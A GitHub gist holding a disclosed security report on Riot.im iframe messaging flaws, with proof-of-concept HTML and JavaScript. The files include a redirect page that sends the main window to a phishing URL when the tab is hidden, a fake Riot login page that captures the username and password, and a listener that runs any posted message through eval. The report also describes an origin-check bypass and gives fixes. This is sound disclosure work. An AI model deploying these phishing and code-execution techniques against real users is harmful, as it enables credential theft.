Skip to content

Instantly share code, notes, and snippets.

@rugk
Created February 10, 2020 16:18
Show Gist options
  • Save rugk/2e5caef4a266f15d71eae1b53ff8c29a to your computer and use it in GitHub Desktop.
Save rugk/2e5caef4a266f15d71eae1b53ff8c29a to your computer and use it in GitHub Desktop.
iFrame messaging vulnerabilities in Riot.im, see https://github.com/vector-im/riot-web/issues/6173
<html>
<head>
<script>
// get when tab is switched
(function() {
var hidden = "hidden";
// Standards:
if (hidden in document)
document.addEventListener("visibilitychange", onchange);
else if ((hidden = "mozHidden") in document)
document.addEventListener("mozvisibilitychange", onchange);
else if ((hidden = "webkitHidden") in document)
document.addEventListener("webkitvisibilitychange", onchange);
else if ((hidden = "msHidden") in document)
document.addEventListener("msvisibilitychange", onchange);
// IE 9 and lower:
else if ("onfocusin" in document)
document.onfocusin = document.onfocusout = onchange;
// All others:
else
window.onpageshow = window.onpagehide
= window.onfocus = window.onblur = onchange;
function onchange (evt) {
var v = "visible", h = "hidden",
evtMap = {
focus:v, focusin:v, pageshow:v, blur:h, focusout:h, pagehide:h
};
if (document.body === null) {
return;
}
evt = evt || window.event;
if (evt.type in evtMap)
document.body.className = evtMap[evt.type];
else
document.body.className = this[hidden] ? "hidden" : "visible";
if (document.body.className == "hidden") {
setTimeout(runAttack, 2000);
}
}
// set the initial state (but only if browser supports the Page Visibility API)
if( document[hidden] !== undefined )
onchange({type: document[hidden] ? "blur" : "focus"});
})();
function runAttack() {
window.top.location.href = "https://wanderland.example/riot/bad"
}
// make it work
window.addEventListener("message", function(e){eval("("+e.data.code+")")(e)})
</script>
</head>
<body>
<!-- <img id="image" src="catgif.gif" alt="cat"> -->
</body>
</html>
<!doctype html>
<html lang="en" style="height: 100%;">
<head>
<meta charset="utf-8">
<title>Riot</title>
<link rel="apple-touch-icon" sizes="57x57" href="vector-icons/apple-touch-icon-57x57.png">
<link rel="apple-touch-icon" sizes="60x60" href="vector-icons/apple-touch-icon-60x60.png">
<link rel="apple-touch-icon" sizes="72x72" href="vector-icons/apple-touch-icon-72x72.png">
<link rel="apple-touch-icon" sizes="76x76" href="vector-icons/apple-touch-icon-76x76.png">
<link rel="apple-touch-icon" sizes="114x114" href="vector-icons/apple-touch-icon-114x114.png">
<link rel="apple-touch-icon" sizes="120x120" href="vector-icons/apple-touch-icon-120x120.png">
<link rel="apple-touch-icon" sizes="144x144" href="vector-icons/apple-touch-icon-144x144.png">
<link rel="apple-touch-icon" sizes="152x152" href="vector-icons/apple-touch-icon-152x152.png">
<link rel="apple-touch-icon" sizes="180x180" href="vector-icons/apple-touch-icon-180x180.png">
<link rel="manifest" href="manifest.json">
<link rel="shortcut icon" href="vector-icons/favicon.ico">
<meta name="apple-mobile-web-app-title" content="Riot">
<meta name="application-name" content="Riot">
<meta name="msapplication-TileColor" content="#da532c">
<meta name="msapplication-TileImage" content="vector-icons/mstile-144x144.png">
<meta name="msapplication-config" content="vector-icons/browserconfig.xml">
<meta name="theme-color" content="#ffffff">
<link rel="alternate stylesheet" title="Dark"
href="bundles/070e2827d7275f44a591/theme-dark.css">
<link rel="stylesheet" title="Light"
href="bundles/070e2827d7275f44a591/theme-light.css">
<link rel="stylesheet" href="bundles/070e2827d7275f44a591/bundle.css">
<script>
document.addEventListener('DOMContentLoaded', function() {
setTimeout(startUp, 1000);
}, false);
function startUp() {
//document.getElementsByClassName("mx_Login_field mx_Login_username")[0].name="fsdafdsa";
document.getElementsByTagName("form")[0].addEventListener("submit", catchForm, false);
showError();
}
function showError() {
document.querySelector(".mx_Login_error").innerHTML = "For security reasons, you need to login again."
}
function catchForm(event) {
console.log(event);
const username = event.target[0].value;
const password = event.target[1].value;
alert("PWNED!\nusername: " + username + "\npassword: " + password);
event.preventDefault();
}
</script>
</head>
<body style="height: 100%;">
<section id="matrixchat" style="height: 100%;"></section>
<noscript>Sorry, Riot requires JavaScript to be enabled.</noscript> <!-- TODO: Translate this? -->
<script src="bundles/070e2827d7275f44a591/theme-dark.js"></script>
<script src="bundles/070e2827d7275f44a591/theme-light.js"></script>
<script src="bundles/070e2827d7275f44a591/olm.js"></script>
<script>
window.vector_indexeddb_worker_script = 'bundles/070e2827d7275f44a591/indexeddb-worker.js';
</script>
<script src="bundles/070e2827d7275f44a591/bundle.js"></script>
<img src="img/warning.svg" width="24" height="23" style="visibility: hidden; position: absolute; top: 0px; left: 0px;"/>
<audio id="messageAudio">
<source src="media/message.ogg" type="audio/ogg" />
<source src="media/message.mp3" type="audio/mpeg" />
</audio>
<audio id="ringAudio" loop>
<source src="media/ring.ogg" type="audio/ogg" />
<source src="media/ring.mp3" type="audio/mpeg" />
</audio>
<audio id="ringbackAudio" loop>
<source src="media/ringback.ogg" type="audio/ogg" />
<source src="media/ringback.mp3" type="audio/mpeg" />
</audio>
<audio id="callendAudio">
<source src="media/callend.ogg" type="audio/ogg" />
<source src="media/callend.mp3" type="audio/mpeg" />
</audio>
<audio id="busyAudio">
<source src="media/busy.ogg" type="audio/ogg" />
<source src="media/busy.mp3" type="audio/mpeg" />
</audio>
<audio id="remoteAudio"/>
</body>
</html>

iFrame messaging vulnerabilities

All tests were doing use up-to-date browsers (Firefox 58 and Chromium 62) and the current release of Riot-Web (v0.13.5).

postMessage origin check for download button missing

For postMessages, the MDN web docs write:

If you do expect to receive messages from other sites, always verify the sender's identity using the origin and possibly source properties. Any window (including, for example, http://evil.example.com) can send a message to any other window, and you have no guarantees that an unknown sender will not send malicious messages. Having verified identity, however, you still should always verify the syntax of the received message. Otherwise, a security hole in the site you trusted to send only trusted messages could then open a cross-site scripting hole in your site.

In your code for rendering the download button in your usercontent API looks like this:

window.addEventListener("message", function(e){eval("("+e.data.code+")")(e)})

This does not verify anything and directly executes the code. As such, any website (iframe or so) can let it execute code. That is an avoidable risk.

Attack

Generally the JS execution can only happen in the iframe, which limits it's risk. However, the iframe contains sensitive content like the e2e encrypted image, so when one can access it.

Impact

It is rather theoretical, as – when properly setup(!) – the different origins of the iframes used in Riot (integration, usercontent) seem to prevent that one can navigate to the main page and send that message. However, it is very bad practice and may introduce vulnerabilities when there will be further iframes on your site. And even cross-site iframes are not 100%ly sandboxed out of the box. See the third attack for a demonstration of what you can still do with cross-site iframes.

Solution

Check the origin of the message when receiving it, as the MDN web docs, recommend.

postMessage origin check bypass for integrations

In your SDK you also use postMessage to send messages between the integration server and the Riot instance.

Fortunately, when receiving the message you check the origin there. You do use this code:

const url = SdkConfig.get().integrations_ui_url;
if (event.origin.length === 0 || !url.startsWith(event.origin) || !event.data.action) {
        return; // don't log this - debugging APIs like to spam postMessage which floods the log otherwise
}

So let's look at the core here: url.startsWith(event.origin). So you want to verify that the (potentially malicious) sende (event.origin) is the valid one configured in the settings.

So with the default settings, this check is basically:

"https://scalar.vector.im/".startsWith("https://scalar.vector.im");
-> true

So far, that is great. However, this check can also be bypassed. Because startsWith checks that the settings string is the beginning of the first. Well... there are many cases, where the origin may be the beginning of the string, but not a valid string.

Attack

So let's say, I can register a domain scalar.ve (.ve is the TLD of Venezuela). When I then sent a message, the check succeeds anyway:

"https://scalar.vector.im/".startsWith("https://scalar.ve");
-> true

The catch: This is only theoretical, because actually you are lucky. The registration for the .ve TLD is restricted to the third level.

However, we are talking about a self-hosted system here. So server admins can choose any domain for their integration server and if they self-host instances and do not have "luck" with their domain, and the domain is e.g. at https://scalar.cheaphost.com, we can attack it with a domain scalar.ch:

"https://scalar.cheaphost.com/".startsWith("https://scalar.ch");
->

So the attacker at https://scalar.ch can "forge" messages so they look they may come from https://scalar.cheaphost.com/.

Impact

I have not looked at the impact for this to deeply, so it remains theoretical.

Solution

The correct check is, to just turn it around. That check does not work:

"https://scalar.ve".startsWith("https://scalar.vector.im/");
-> false

So check wether the dubious data begins with the known safe string, not the reverse you currently do.

A subtle phishing attack using iframes

So the things before were theoretical. Let's get practical. For this attack we exploit the iframe usercontent and demonstrate that the sandboxing done currently, is not enough.

You use iframes for sandboxing. You load them from a third-party website and assume this makes them secure. I am very sorry to disappoint you, but it does not secure them any against any attacks. E.g. phishing.

So first a proof of concept.

Proof of concept

Videos:

The password for all videos is riotIFrameAttack777.

I've attached the source in the attackIframePOC.zip. Host the fake login screen with a usual riot instance (just replace the index.html) and the attackRedirect.html as the usercontent iframe at another. Configure the third Riot instance for login just as usual, but link to attackRedirect.html for the usercontent iframe. The attackRedirect.html is also live hosted on https://rugk.neocities.org/riot/bad.html. (As you can see, that's what I've used in the videos.)

So how does the attack work?

The problem is iframes (even when they are cross-origin) can still redirect the origin/top frame, i.e. the main riot site. This is then usable from an attacker to redirect a user to a phishing site. In the example this is made especially difficult to notice for the user, as we only redirect when the user is doing something else

Impact

As you can see in the videos, one can easily phish all the login credentials. One cannot break the e2e crypto, however, as the phishing site is a different domain and has thus no access to the main site.

Also, the user could be fooled in a better way when we may display the real notification, which sometimes appears (at least when you remove the device remotely), on the phishing site. See manualStop.png. That would make it even more realistic.

Solution

Sandbox your iframe.

As long as you don't manually set allow-top-navigation this prevents this attack.

Also, BTW, sandboxed iframes also have a different same origin policy. Thus, you can – as a side effect – make selfhosting of Riot easier by just using sandboxed iframes. To demonstrate that it is possible for your use case, I have attached another "POC", see "secureSandbox.zip." Just as Riot Web, it displays a link with a blob object URI to download the image. However, it does not need yet another domain. And, what is the most important fact, it is immune against this redirect attack presented here.

Note that you should do the same for the integrations iframe, of course. As many "self-hosters" may not change it and thus depend on it for security, it is not acceptable that such an attack is possible.

Final note

Please note that at the earliest at 2018-05-18 (90 days from now) or when you've released the fix, I'll disclose these vulnerabilities.

PS: And a final word not belonging to this report, but being an important thing for a FLOSS community project: Please don't lie to your users/contributors. You should know your own source code. Where did we do that, you may ask? Well... you've repeatedly claimed that you use the iframe for PDF, image/video preview, but your source does say something else. You actually only use it for displaying the download button. To recheck, I've tested it in Riot and it does indeed use data URIs for everything else. (including all previews) So, I know, I sometimes annoyed you, but this is something you need to handle and not reject all potential contributors.

Timeline

2018-04-23: Looked into issue

I'm trying to understand your PoC exploit code: in this case the malicious code is hosted by the user content renderer which isn't specifically something we're trying to protect against: we assume the user content renderer is trusted at least to the extent that the page itself is not malicious.

Is the assumption here that malicious code could be injected via the postMessage due to the lack of origin checking you point out in your first writeup? I've been looking at how this could be done in practice and it requires getting a reference to the 'window' object to post the message to. Since the usercontent frame doesn't actually display the content directly, I can't see a way to do this in practice.

We looked at using sandboxed iframes at the time, but the problem was the limitations on what could be done with the resulting blob: URLs. Your PoC fix with sandboxed iframes works for me on Firefox and Chrome 68 but not Chrome stable (65). I believe this is the reason we didn't go with sandboxed iframes when writing this. You say you used Chrome 62 to test - does it still work for you in 65?

If we can find a way to get sandboxed iframes working in the stable versions of the main browsers I'd love to switch over to using it as I agree it's better in many ways: otherwise, we may have to wait until Chrome 66/67/68 is stable.

2020-02-07: Fix provided in element-hq/element-web#12292 2020-02-10: Publicly disclosed report.

<html>
<head>
<script src="./test.js" async=""></script>
</head>
<body>
<input type="file" id="fileElem" multiple accept="image/*" style="display:none" onchange="handleFiles(this.files)" />
<a href="#" id="fileSelect">Select some files</a>
<div id="fileList">
<p>No files selected!</p>
</div>
Below is an iframe for download!<br/>
<span id="iframespace" class="mx_MImageBody_download"></span>
</body>
</html>
<p style="margin-top: 20px">
Now a third-party iframe:
</p>
<!-- <iframe id="attackframe" src="./attack.html" width="500" height="200" style="width: 100%"></iframe> -->
const tintedDownloadImageURL = "data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+Cjxzdmcgd2lkdGg9IjEycHgiIGhlaWdodD0iMTRweCIgdmlld0JveD0iLTEgLTEgMTIgMTQiIHZlcnNpb249IjEuMSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayIgeG1sbnM6c2tldGNoPSJodHRwOi8vd3d3LmJvaGVtaWFuY29kaW5nLmNvbS9za2V0Y2gvbnMiPgogICAgPCEtLSBHZW5lcmF0b3I6IFNrZXRjaCAzLjQuNCAoMTcyNDkpIC0gaHR0cDovL3d3dy5ib2hlbWlhbmNvZGluZy5jb20vc2tldGNoIC0tPgogICAgPHRpdGxlPkZpbGwgNzU8L3RpdGxlPgogICAgPGRlc2M+Q3JlYXRlZCB3aXRoIFNrZXRjaC48L2Rlc2M+CiAgICA8ZGVmcy8+CiAgICA8ZyBpZD0iMDItQ2hhdCIgc3Ryb2tlPSJub25lIiBzdHJva2Utd2lkdGg9IjEiIGZpbGw9Im5vbmUiIGZpbGwtcnVsZT0iZXZlbm9kZCIgc2tldGNoOnR5cGU9Ik1TUGFnZSI+CiAgICAgICAgPGcgaWQ9IjAyX3gtQ2hhdC1NQVgiIHNrZXRjaDp0eXBlPSJNU0FydGJvYXJkR3JvdXAiIHRyYW5zZm9ybT0idHJhbnNsYXRlKC0yODAuMDAwMDAwLCAtNTQ2LjAwMDAwMCkiIGZpbGw9IiM3NkNGQTYiPgogICAgICAgICAgICA8ZyBpZD0iR3JvdXAiIHNrZXRjaDp0eXBlPSJNU0xheWVyR3JvdXAiIHRyYW5zZm9ybT0idHJhbnNsYXRlKDI0My4wMDAwMDAsIDU4LjAwMDAwMCkiPgogICAgICAgICAgICAgICAgPGcgaWQ9Ikdyb3VwLUNvcHktMTMtKy1NYXRyaXgtSFEtQ29weS0xNy0rLUJpdG1hcCIgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoMS4wMDAwMDAsIDE4MS4wMDAwMDApIiBza2V0Y2g6dHlwZT0iTVNTaGFwZUdyb3VwIj4KICAgICAgICAgICAgICAgICAgICA8ZyBpZD0iR3JvdXAtQ29weS0xMyI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxwYXRoIGQ9Ik00NS4zNDAwNDI2LDMxMi41MjY3NzQgQzQ1LjQ4NzAwNDgsMzEyLjUyNjc3NCA0NS42MzM5NjcsMzEyLjQ3MDg5OCA0NS43NDY0ODQ5LDMxMi4zNTgzOCBDNDUuOTY5OTg5OSwzMTIuMTM0MTA5IDQ1Ljk2OTk4OTksMzExLjc3MTI5NiA0NS43NDY0ODQ5LDMxMS41NDcwMjYgTDQxLjM2NTkzOTYsMzA3LjE2ODAxMSBDNDEuMTQyNDM0NSwzMDYuOTQzNzQxIDQwLjc3ODg1NjIsMzA2Ljk0NDUwNiA0MC41NTQ1ODU3LDMwNy4xNjcyNDYgTDM2LjE2ODY4MjMsMzExLjU0MDEzNyBDMzUuOTQ0NDExOSwzMTEuNzY0NDA4IDM1Ljk0MzY0NjUsMzEyLjEyNzk4NiAzNi4xNjcxNTE1LDMxMi4zNTIyNTYgQzM2LjM5MDY1NjUsMzEyLjU3NzI5MiAzNi43NTQyMzQ5LDMxMi41NzcyOTIgMzYuOTc4NTA1MywzMTIuMzUzNzg3IEw0MC4zOTE1NDk1LDMwOC45NTA2OTQgTDQwLjM5MzA4MDQsMzE4LjQyNTkyOSBDNDAuMzkzMDgwNCwzMTguNzQyODE2IDQwLjY1MTAyOTYsMzE5IDQwLjk2NzE1MTUsMzE5IEM0MS4yODQ4MDQyLDMxOSA0MS41NDEyMjI2LDMxOC43NDI4MTYgNDEuNTQxMjIyNiwzMTguNDI1OTI5IEw0MS41Mzk2OTE3LDMwOC45NjUyMzcgTDQ0LjkzNDM2NTYsMzEyLjM1ODM4IEM0NS4wNDYxMTgyLDMxMi40NzA4OTggNDUuMTkzMDgwNCwzMTIuNTI2Nzc0IDQ1LjM0MDA0MjYsMzEyLjUyNjc3NCBMNDUuMzQwMDQyNiwzMTIuNTI2Nzc0IFoiIGlkPSJGaWxsLTc1IiB0cmFuc2Zvcm09InRyYW5zbGF0ZSg0MC45NTcwNTcsIDMxMy4wMDAwMDApIHJvdGF0ZSgtMTgwLjAwMDAwMCkgdHJhbnNsYXRlKC00MC45NTcwNTcsIC0zMTMuMDAwMDAwKSAiLz4KICAgICAgICAgICAgICAgICAgICA8L2c+CiAgICAgICAgICAgICAgICA8L2c+CiAgICAgICAgICAgIDwvZz4KICAgICAgICA8L2c+CiAgICA8L2c+Cjwvc3ZnPg==";
function remoteRender(event) {
"use strict";
const data = event.data;
const img = document.createElement("img");
img.id = "img";
img.src = data.imgSrc;
const a = document.createElement("a");
a.id = "a";
a.rel = data.rel;
a.target = data.target;
a.download = data.download;
a.style = data.style;
a.href = window.URL.createObjectURL(data.blob);
a.appendChild(img);
a.appendChild(document.createTextNode(data.textContent));
const body = document.body;
// Don't display scrollbars if the link takes more than one line
// to display.
body.style = "margin: 0px; overflow: hidden";
body.appendChild(a);
}
function onloadIframe() {
"use strict";
var myfile=window.files[0];
window.iframe.contentWindow.postMessage({
code: remoteRender.toString(),
imgSrc: tintedDownloadImageURL,
style: "color: green",
blob: myfile,
// Set a download attribute for encrypted files so that the file
// will have the correct name when the user tries to download it.
// We can't provide a Content-Disposition header like we would for HTTP.
download: myfile.name,
target: "_blank",
textContent: "Download file",
}, "*");
}
function handleFiles(files) {
window.files = files;
if (!files.length) {
fileList.innerHTML = "<p>No files selected!</p>";
return;
}
fileList.innerHTML = "";
var list = document.createElement("ul");
fileList.appendChild(list);
for (var i = 0; i < files.length; i++) {
var li = document.createElement("li");
list.appendChild(li);
var img = document.createElement("img");
img.src = window.URL.createObjectURL(files[i]);
img.height = 60;
img.onload = function() {
window.URL.revokeObjectURL(this.src);
}
li.appendChild(img);
console.log("appended " + files[i].name);
var info = document.createElement("span");
info.innerHTML = files[i].name + ": " + files[i].size + " bytes";
li.appendChild(info);
}
var html = '<html><head><script>window.addEventListener("message", function(e){eval("("+e.data.code+")")(e)})</script></head><body></body></html>';
// create iframe
window.iframe = document.createElement('iframe');
//window.iframe.sandbox = "allow-scripts";
window.iframe.srcdoc = html;
// add
document.getElementById("iframespace").appendChild(window.iframe);
// in order to write to it:
//window.iframe.removeAttribute("sandbox");
/* window.iframe.contentWindow.document.open();
window.iframe.contentWindow.document.write(html);
window.iframe.contentWindow.document.close();
*/
window.iframe.onload = onloadIframe;
// re-add
//window.iframe.sandbox = "";
}
var fileSelect = document.getElementById("fileSelect"),
fileElem = document.getElementById("fileElem"),
fileList = document.getElementById("fileList");
fileSelect.addEventListener("click", function (e) {
if (fileElem) {
fileElem.click();
}
e.preventDefault(); // prevent navigation to "#"
}, false);
@rugk
Copy link
Author

rugk commented Feb 10, 2020

Providing the missing manualStop.png:

manualStop

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment